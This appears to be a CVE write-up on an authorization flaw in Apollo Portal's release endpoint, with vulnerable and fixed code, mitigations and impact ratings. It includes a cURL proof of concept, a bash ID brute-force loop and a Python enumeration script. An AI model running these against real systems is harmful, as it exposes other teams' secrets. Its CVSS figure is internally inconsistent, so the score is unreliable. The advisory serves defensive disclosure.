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How CVE-2025-32781 Works
Apollo Portal is the web-based administration interface for Apollo, a popular configuration management system used to manage application settings across distributed environments. Prior to version 2.5.0, Apollo Portal contained an improper authorization vulnerability that allowed authenticated low-privileged users to access configuration data they should not have been able to view.
The vulnerability resides in the endpoint GET /envs/{env}/releases/{releaseId}. This endpoint is designed to return release data—essentially, the configuration values associated with a specific release of an application or namespace. When the environment-level setting `configView.memberOnly.envs` is enabled, access to configuration views is supposed to be restricted to members only.
However, the endpoint failed to verify whether the authenticated user had the necessary application-level or namespace-level permissions before returning the requested release data. In a properly secured system, `UserPermissionValidator.shouldHideConfigToCurrentUser(…)` would be called to check if the current user is authorized to view the configuration for the target application and namespace. This validation step was missing.
An attacker with a valid authenticated session—even one with low privileges—could simply supply a valid `releaseId` belonging to any application or namespace. The attacker could obtain or guess this ID through various means, such as enumeration, information leakage, or social engineering. Because the endpoint did not perform the necessary permission checks, it would return the full release data, including sensitive configuration values like database credentials, API keys, service endpoints, and other secrets.
This vulnerability only affects read operations; it does not allow configuration modification or system availability disruption. The issue is triggered only when `configView.memberOnly.envs` is enabled for the requested environment, making the vulnerability conditional on specific configuration settings.
The vulnerability was responsibly disclosed by @lesignals and patched in Apollo 2.5.0 with the addition of the missing permission validation.
DailyCVE Form:
Platform: Apollo Portal
Version: < 2.5.0
Vulnerability: IDOR Config Leak
Severity: Moderate (CVSS 5.3)
date: 2026-07-12
Prediction: Already Patched (2025)
What Undercode Say: Analytics
The vulnerability manifests in the absence of proper authorization checks on the release retrieval endpoint. The following analysis highlights the core issue:
Affected Endpoint:
GET /envs/{env}/releases/{releaseId}
Missing Validation:
The endpoint fails to invoke:
UserPermissionValidator.shouldHideConfigToCurrentUser(...)
Condition for Exploitation:
configView.memberOnly.envs = enabled
Proof of Concept (cURL):
Authenticated low-privileged user requests a release by ID curl -X GET "https://apollo-portal.example.com/envs/PROD/releases/12345" \ -H "Authorization: Bearer <low_privileged_token>"
Response (Sensitive Data Exposed):
{
"id": 12345,
"appId": "target-application",
"clusterName": "default",
"namespaceName": "application",
"configurations": {
"database.url": "jdbc:mysql://internal-db.prod:3306/main",
"database.username": "app_user",
"database.password": "Sup3rS3cr3t!",
"api.endpoint": "https://internal-api.prod/v1",
"api.key": "sk-prod-abcdef123456"
}
}
Code Analysis (Vulnerable Logic):
// Vulnerable controller method (before 2.5.0)
@GetMapping("/envs/{env}/releases/{releaseId}")
public ReleaseDTO getRelease(@PathVariable String env, @PathVariable long releaseId) {
// Missing: UserPermissionValidator.shouldHideConfigToCurrentUser(...)
Release release = releaseService.findReleaseById(releaseId);
return releaseMapper.toDTO(release);
}
// Fixed implementation (2.5.0+)
@GetMapping("/envs/{env}/releases/{releaseId}")
public ReleaseDTO getRelease(@PathVariable String env, @PathVariable long releaseId) {
Release release = releaseService.findReleaseById(releaseId);
// Added permission check
if (UserPermissionValidator.shouldHideConfigToCurrentUser(release.getAppId(), release.getNamespaceName())) {
throw new AccessDeniedException("User not authorized to view this configuration");
}
return releaseMapper.toDTO(release);
}
Release ID Enumeration Risk:
Release IDs are typically sequential integers, making them predictable and susceptible to brute-force enumeration:
Brute-force script snippet
for id in {10000..20000}; do
curl -s -o /dev/null -w "%{http_code}" "https://apollo-portal.example.com/envs/PROD/releases/$id"
done
How Exploit: CVE-2025-32781
An attacker exploiting this vulnerability follows these steps:
- Authenticate: Obtain valid credentials for a low-privileged Apollo Portal user account.
- Identify Target Environment: Confirm that `configView.memberOnly.envs` is enabled for the target environment (e.g., PROD).
- Obtain Release ID: Acquire a valid `releaseId` through:
– Enumeration: Brute-force sequential IDs.
– Information Leakage: Observe release IDs in audit logs, error messages, or publicly accessible references.
– Social Engineering: Infer IDs from predictable patterns.
4. Craft Request: Send a `GET` request to `/envs/{env}/releases/{releaseId}` with the authenticated session.
5. Receive Configuration Data: The endpoint returns the full release data, exposing sensitive configuration values without authorization checks.
Exploit Example (Python):
import requests
session = requests.Session()
session.headers.update({"Authorization": "Bearer <low_privileged_token>"})
target_env = "PROD"
release_ids = range(1000, 2000) Predictable range
for rid in release_ids:
url = f"https://apollo-portal.example.com/envs/{target_env}/releases/{rid}"
response = session.get(url)
if response.status_code == 200:
print(f"[!] Exposed release {rid}: {response.text}")
break
Protection: From CVE-2025-32781
Organizations can protect against this vulnerability through the following measures:
1. Immediate Upgrade (Recommended):
Upgrade Apollo Portal to version 2.5.0 or later, which includes the fix.
2. Backport Permission Check:
If an immediate upgrade is not feasible, backport the permission check from PR 5378 to the current codebase.
3. Restrict Network Access:
Limit Apollo Portal access to trusted internal networks and trusted users only, reducing the attack surface.
4. Monitor and Audit:
- Enable audit logging for all release access requests.
- Monitor for unusual patterns of release ID enumeration or access attempts from low-privileged users.
5. Secure Configuration:
Review and enforce strict environment-level access controls. Ensure that `configView.memberOnly.envs` is appropriately configured.
6. Rotate Secrets:
After patching, rotate any credentials or secrets that may have been exposed through this vulnerability.
Impact: CVE-2025-32781
Confidentiality Impact (High):
An authenticated attacker with low privileges can read configuration data from other applications and namespaces. Exposed configuration may contain sensitive values such as:
– Database credentials (usernames, passwords, connection strings)
– API keys and service endpoints
– Internal service URLs and authentication tokens
– Feature flags and business logic parameters
Integrity Impact (None):
The vulnerability does not allow modification of configurations or any write operations.
Availability Impact (None):
The vulnerability does not directly affect system availability or cause denial of service.
Scope (Unchanged):
The vulnerability affects resources within the same Apollo Portal instance but does not escalate privileges beyond read access.
Attack Vector (Network):
The vulnerability is exploitable over the network by an authenticated user.
Complexity (Low):
Exploitation requires only valid authentication and a valid or guessable release ID, which are often predictable or discoverable.
Privileges Required (Low):
The attacker only needs a low-privileged Portal user account, not administrative access.
User Interaction (None):
No user interaction is required beyond the attacker’s own authenticated session.
CVSS Base Score: 5.3 (Moderate)
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Sources:
Reported By: github.com
Extra Source Hub:
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